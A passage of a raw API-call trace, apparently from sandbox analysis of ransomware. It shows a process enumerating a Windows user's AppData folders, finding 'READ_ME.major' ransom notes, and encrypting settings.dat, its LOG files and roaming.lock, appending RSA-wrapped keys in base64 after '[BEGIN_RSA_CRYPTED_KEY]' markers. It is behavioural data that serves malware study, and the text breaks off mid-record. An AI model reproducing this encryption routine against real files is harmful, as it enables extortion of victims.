hFindFile=0x2f30798, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2961813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.243] FindNextFileW (in: hFindFile=0x2f30798, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.243] FindNextFileW (in: hFindFile=0x2f30798, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.243] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd29620e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30d18 [0206.243] FindNextFileW (in: hFindFile=0x2f30d18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd29620e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.243] FindNextFileW (in: hFindFile=0x2f30d18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30d18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.244] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30e18 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdddc675b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdddc675b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdddc675b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3fd6f110, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3fc3de50, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x3fc3de50, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x3fc3de50, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3fc3de50, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x3fc3de50, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x3fc3de50, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0206.244] FindNextFileW (in: hFindFile=0x2f30e18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3fc3de50, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x3fc3de50, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x3fc3de50, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0206.244] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.244] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0206.250] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1488 [0206.251] GetFileSizeEx (in: hFile=0x1488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.251] ReadFile (in: hFile=0x1488, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.251] SetFilePointer (in: hFile=0x1488, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.251] WriteFile (in: hFile=0x1488, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.251] SetFilePointer (in: hFile=0x1488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.251] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.251] WriteFile (in: hFile=0x1488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.252] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.252] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ipCyoN5qs7ziVy9hE1jK1mH7QRAvdR/aOBZ3fqKhyiwmEdcXJfcln2ObygKNikug\nQN3K/b2AyPrkKqqmMBIGIeOOt/+9QDYOHaRjg2GjO13U1iwA+XCXLHeZde2vnwl8\nwX6ARupIC3AQXpeE22frTUykIFPBd+VdmKq/tLWZKZFmQ+3FVaQKAx757a1BVqs9\nIrzX1dLIYiQN/OBex9Gvy4S3j6KMZAtfwVEocM/DWk7YEIZUcfWAs0DfpawN7wvR\n+hAulCZtLE77713JmRFMAa+nG1N3i8WAUyht2L6Em3W2TiZIci2mkU8n9CL33ufu\nceXl3vpZDisB3Njgus3IQg==\n", pcchString=0x2e3f9a8) returned 1 [0206.253] WriteFile (in: hFile=0x1488, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.253] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.253] WriteFile (in: hFile=0x1488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.253] CloseHandle (hObject=0x1488) returned 1 [0206.255] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.255] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0206.255] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1488 [0206.256] GetFileSizeEx (in: hFile=0x1488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.256] ReadFile (in: hFile=0x1488, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.278] SetFilePointer (in: hFile=0x1488, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.278] WriteFile (in: hFile=0x1488, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.278] SetFilePointer (in: hFile=0x1488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.278] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.278] WriteFile (in: hFile=0x1488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.279] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.279] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vaH9obgdj1SaLdZSoLJR3marSotBo81YCo8PmqjDq0AfJlFhyNuxtgsJjT0GN/RW\n3jZN1EB2J19JNMFg1zafdokqRNsLTxWeXNT/NWHxYrd7OmgzJsJo4UivJWgeKD4u\nVykPJHbweXi0ibM4jPzOXTmjd/R3NzsjfwVPnpmLikJYUGOCaH+Xwo/wJuxXQunz\nr8Jx62BqJc0PZYk+tf84LrjI3yMDiciQZwodC6VCY65PAeaSsSOPo35YKM2QHh4N\nIM45qS4nLg0ot9L19m70hxNndDlZPDZh9ltdpdtalvo0Bg0K8v5qVnHJX7SgYX1B\nfI5LS4qrt1XJb/kAXqxunQ==\n", pcchString=0x2e3f9a8) returned 1 [0206.279] WriteFile (in: hFile=0x1488, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.279] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.280] WriteFile (in: hFile=0x1488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.280] CloseHandle (hObject=0x1488) returned 1 [0206.282] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.282] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0206.283] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1488 [0206.283] GetFileSizeEx (in: hFile=0x1488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.283] ReadFile (in: hFile=0x1488, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.373] SetFilePointer (in: hFile=0x1488, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.373] WriteFile (in: hFile=0x1488, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.373] SetFilePointer (in: hFile=0x1488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.373] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.373] WriteFile (in: hFile=0x1488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.374] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.374] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.374] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.374] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Zz28+sUNgESU50H34Ch1oyqZ/U8ITegkSWxA9iS4Muxr+Kxtxeun+JN9l4hHc6vh\nU5EbMWxs5aojHhgfHhV6l4oFRi+NB37U2ktZNsuD18kj67r1yl1pGhJEkvOb8+pj\ngQfoL6E5z2LCyD+DZa7pTZB/iuM7OvPoAHbOwUsae5mu5YHpSq0HWLD5tpHf9iOz\ncldw/hbrRdNLuIa46BFhbBKxmtiWGShcwlt3PA83pk8RfA68xw7eePy/IQfBmfBz\n4Yt/Lh2TUV36NW7eblx0eRuHIITC9orGTSR8W316S0SUf2S02s13T1UkA8XVVlEn\ntZj017Su9C0pVGr7Vv0NkQ==\n", pcchString=0x2e3f9a8) returned 1 [0206.374] WriteFile (in: hFile=0x1488, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.374] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.374] WriteFile (in: hFile=0x1488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.374] CloseHandle (hObject=0x1488) returned 1 [0206.376] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.376] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0206.377] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1488 [0206.378] GetFileSizeEx (in: hFile=0x1488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.378] ReadFile (in: hFile=0x1488, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.378] SetFilePointer (in: hFile=0x1488, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.379] WriteFile (in: hFile=0x1488, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.379] SetFilePointer (in: hFile=0x1488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.379] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.379] WriteFile (in: hFile=0x1488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.380] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.380] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.380] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.380] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zKzDjm0+9ocdJzoJ/sUPhjbB7bq9Yl6czDbMhAAuiXDdm0LAtlIqRYFOr0E4RsNs\n0LUQL83kB85wuwixEyW012qqI+IGbE/LeKdgWMxeHrdELQy3qNYsD0JQO+tUUSFk\nTWygE6avlRFYgWRrPlYqOsR/aY5iwM5FPc0za2wlZpjjkIuCza4E+y3/HfTXBnZg\nXav/wZZH/x+dY5VA2kT4gcmD7x1XiFlX0T7GZIBo12wBkG321n+1Qh22rBeqPpGP\nxobXOnAMZIa+oY8tzf8AGx/dSOPkL2SUvHkSH044qnXf7qjCMMru49w0BwzFc46b\nP3Mp3XvI0DE4s6IS2esPBw==\n", pcchString=0x2e3f9a8) returned 1 [0206.380] WriteFile (in: hFile=0x1488, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.381] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.381] WriteFile (in: hFile=0x1488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.381] CloseHandle (hObject=0x1488) returned 1 [0206.457] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a85e2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, 